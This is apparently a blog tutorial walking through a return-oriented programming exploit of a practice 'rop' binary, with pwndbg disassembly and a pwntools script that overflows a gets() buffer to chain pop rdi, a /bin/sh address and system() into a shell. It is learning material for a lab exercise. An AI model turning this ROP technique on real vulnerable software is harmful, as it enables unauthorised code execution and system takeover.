I don't own this binary. I will provide you with the link to this binary, which I took from Github.

You can Download it from here.

We will be using this rop binary to understand the process.

Practical Demonstration

We can extract the small piece of the code from the binary and used it as per our needs.

call 0x4ab1ed<system>

pop rdi

ret

Above are the small pieces of code which we can use as per our needs.

Their is one famous tool called ROPgadget. It allows us to extract the small pieces of the from the binary.

None

Practical Demonstration.

We will be using the vulnerable binary to practically demonstrate it. Lets see after how many bytes we can overwrite the return address.

None

After 40 characters we can overwrite the return address.

Lets have a look at function within the binary.


┌──(bn-exploit㉿kali)-[~/binary-exploitation/6. ROP]
└─$ pwndbg ./rop
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
pwndbg: loaded 179 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Pwndbg context displays where the program branches to thanks to emulating few instructions into the future. You can disable this with set emulate off which may also speed up debugging
pwndbg> info functions 
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010a0  setresuid@plt
0x00000000004010b0  setresgid@plt
0x00000000004010c0  system@plt
0x00000000004010d0  printf@plt
0x00000000004010e0  geteuid@plt
0x00000000004010f0  gets@plt
0x0000000000401100  getegid@plt
0x0000000000401110  _start
0x0000000000401140  _dl_relocate_static_pie
0x0000000000401150  deregister_tm_clones
0x0000000000401180  register_tm_clones
0x00000000004011c0  __do_global_dtors_aux
0x00000000004011f0  frame_dummy
0x00000000004011f6  callme
0x0000000000401222  init
0x000000000040126f  main
0x00000000004012b0  __libc_csu_init
0x0000000000401320  __libc_csu_fini
0x0000000000401328  _fini
pwndbg> disassemble callme
Dump of assembler code for function callme:
   0x00000000004011f6 <+0>:     endbr64
   0x00000000004011fa <+4>:     push   rbp
   0x00000000004011fb <+5>:     mov    rbp,rsp
   0x00000000004011fe <+8>:     sub    rsp,0x10
   0x0000000000401202 <+12>:    mov    DWORD PTR [rbp-0x7],0x2d20736c
   0x0000000000401209 <+19>:    mov    WORD PTR [rbp-0x3],0x616c
   0x000000000040120f <+25>:    mov    BYTE PTR [rbp-0x1],0x0
   0x0000000000401213 <+29>:    lea    rax,[rbp-0x7]
   0x0000000000401217 <+33>:    mov    rdi,rax
   0x000000000040121a <+36>:    call   0x4010c0 <system@plt>
   0x000000000040121f <+41>:    nop
   0x0000000000401220 <+42>:    leave
   0x0000000000401221 <+43>:    ret
End of assembler dump.
pwndbg>

Their is one function named callme but after having a deep analysis we got to know that system command is executing ls -la .

Exploitation

We can do one thing, we can execute the /bin/sh command using system function as it is already present in the callme function.

We can use pop rdi instruction and pass the /bin/sh address to it. And now we can call system function. When we pop any data from register the next data after it is stored in it. When we pass the pop rdi address it will pop the data from rdi register and then we can send /bin/sh address. So now we have /bin/sh address in rdi register and then the system function take argument from the 1st register that is rdi. Now we can call the system function and get the shell.

Now its time to write our code.

#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./rop', checksec=False)

io = process()

bin_sh = 0x404060

pop_rdi = 0x401313

ret = 0x000000000040101a

system = 0x4010c0

payload = cyclic(40) + pack(pop_rdi) + pack(bin_sh) + pack(ret) + pack(system)

io.sendline(payload)

io.interactive()

from pwn import * :- imported the python library

elf = context.binary = ELF('./rop') :- imported the binary and its functions into the elf

io = process() :- Start the execution of the binary

bin_sh = 0x404060 :- I crashed the process intentionally so that i can find the address of /bin/sh

None

pop_rdi = 0x401313:- Extracted this address from the binary using ROPgadget.

None

ret = 0x0000000040101a :- Extracted this address from the binary using ROPgadget. We are using this ret function to call the system function as the address is already stored in the rdi register.

None

system = 0x4010c0 :- Got this address from searching in the binary itself.

None

payload = cyclic(40) + pack(pop_rdi) + pack(bin_sh) + pack(ret) + pack(system) :- We have successfully created our payload.

io.sendline(payload) :- Sending the payload to the program.

io.interactive() :- Used this to run the system commands continuously and not break the connection with the program.

Result

None

Thank you for reading!😊